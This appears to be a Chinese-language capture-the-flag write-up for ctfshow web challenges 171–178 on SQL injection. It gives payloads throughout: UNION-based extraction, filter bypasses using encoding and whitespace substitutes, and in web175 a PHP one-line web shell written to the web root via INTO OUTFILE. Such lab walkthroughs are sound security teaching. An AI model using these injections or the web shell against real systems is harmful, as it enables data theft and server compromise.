web171
无过滤的字符型注入。
无过滤的话,可以先用单引号逃逸出来,接着用or 1=1
来永远符合条件,最后用注释防止limit的影响
payload:
1 | 1’or 1=1 --+ |
标准做法
本地调试把加号改成空格,URL编码过程中,空格通常会被转换为加号(+),因此我们传参可以用加号
1 | 爆出有哪些位置可以进行输出数据 |
找到flag。
web172
开启容器
尝试上题payload失败
因为直接-1' or 1=1 --+
flag字段会被过滤,
但是只要回显不输出username就可以绕过过滤
1 | 爆出有哪些位置可以进行输出数据 |
web173
这次将所有回显过滤flag,直接编码绕过或者如上题只显示password列即可,但其他题目中肯定不起作用
mysql中用to_base64
首先确认是三列
1 | 1' order by 3--+ |
思路一:对查询数据做限定,因为已经知道了,在密码一栏中没有flag
,就如同172最后
1' union select 1,2,group_concat('+',password) from ctfshow_user3 where username='flag'--+
思路2:编码绕过,base64,hex都可以
1' union select 1,2,to_base64(password) from ctfshow_user3 where username='flag'--+
-1' union select 1,to_base64(username),hex(password) from ctfshow_user3 --+
web174
1 | //检查结果是否有flag |
不允许有数字
替换:将数据to_base64加密,然后将里面所有的数字用replace()替换
替换方式:1 testa
,2 testb
3 testc
等等
-1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),2,'testb') ,3,'testc') ,4,'testd') ,5,'teste') ,6,'testf') ,7,'testg') ,8,'testh') ,9,'testi') ,0,'testj') ,1,'testa'),replace(1,'1','testa') from ctfshow_user4 where username='flag'--+
web175
1 | //检查结果是否有flag |
将数据输出到一个文件中,然后访问对应文件
1 | -1' union select username,password from ctfshow_user5 into outfile "/var/www/html/1.txt"--+ |
还可以直接传入一句话木马
1 | -1' union select 1,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php |
看数据库信息
连接蚁剑
web176
万能密码直接查到-1' or username='flag
1' or 1=1--+
也没被过滤
web177
空格被过滤,就相当于把注释符--
给过滤掉
用/**/
或者是%0a
(回车)或者%09
(tab)来绕过空格的过滤,%23
(#)来绕过注释符的过滤
解法一:万能密码
1'or/**/1=1%23
/**/绕过空格
解法二:正常查询
1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23
web178
过滤了空格与*
号等用%09
(tab)、%0a
(回车)绕过
id=1’or’1’=’1’%23
payload: 1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username%09=%09'flag')%09%23